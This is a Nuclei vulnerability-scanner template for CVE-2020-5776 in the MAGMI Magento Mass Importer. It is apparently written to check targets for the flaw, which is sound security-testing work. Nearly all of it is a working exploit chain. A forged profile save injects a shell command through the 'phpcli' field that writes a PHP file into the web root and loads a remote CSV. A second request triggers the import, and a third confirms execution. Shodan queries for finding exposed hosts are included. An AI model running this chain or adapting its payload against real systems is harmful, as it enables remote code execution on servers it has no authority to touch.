CVE-2020-5776: MAGMI - Cross-Site Request Forgery

id: CVE-2020-5776

info:
  name: MAGMI - Cross-Site Request Forgery
  author: dwisiswant0
  severity: high
  description: MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform unauthorized actions on behalf of the victim user.
  remediation: |
    Implement CSRF protection mechanisms such as anti-CSRF tokens and referer validation.
  reference:
    - https://www.tenable.com/security/research/tra-2020-51
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5776
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/404notf0und/CVE-Flow
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-5776
    cwe-id: CWE-352
    epss-score: 0.14725
    epss-percentile: 0.96495
    cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: magmi_project
    product: magmi
    shodan-query:
      - http.component:"Magento"
      - http.component:"magento"
  tags: cve,cve2020,magmi,magento,tenable,magmi_project,vkev,vuln

variables:
  auth: '{{base64(username + ":" + password)}}'

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /magmi/web/magmi_saveprofile.php HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{auth}}
        Content-Type: application/x-www-form-urlencoded

        profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Profile", "saved")'
        condition: and
        internal: true

  - raw:
      - |
        POST /magmi/web/magmi_run.php HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{auth}}
        Content-Type: application/x-www-form-urlencoded

        engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /magmi/web/info.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "PHP Extension", "PHP Version")'
        condition: and
# digest: 4a0a0047304502200e054f603a5a886fdab847970c23f0f3aec55b9fbc5a7f77c973767e3fa6be1a022100ca9b695fe0de501691b51ef72a9067c21e8849ee810251bb3525ba90bb5d18ee:922c64590222798bb761d5b6d8e72950

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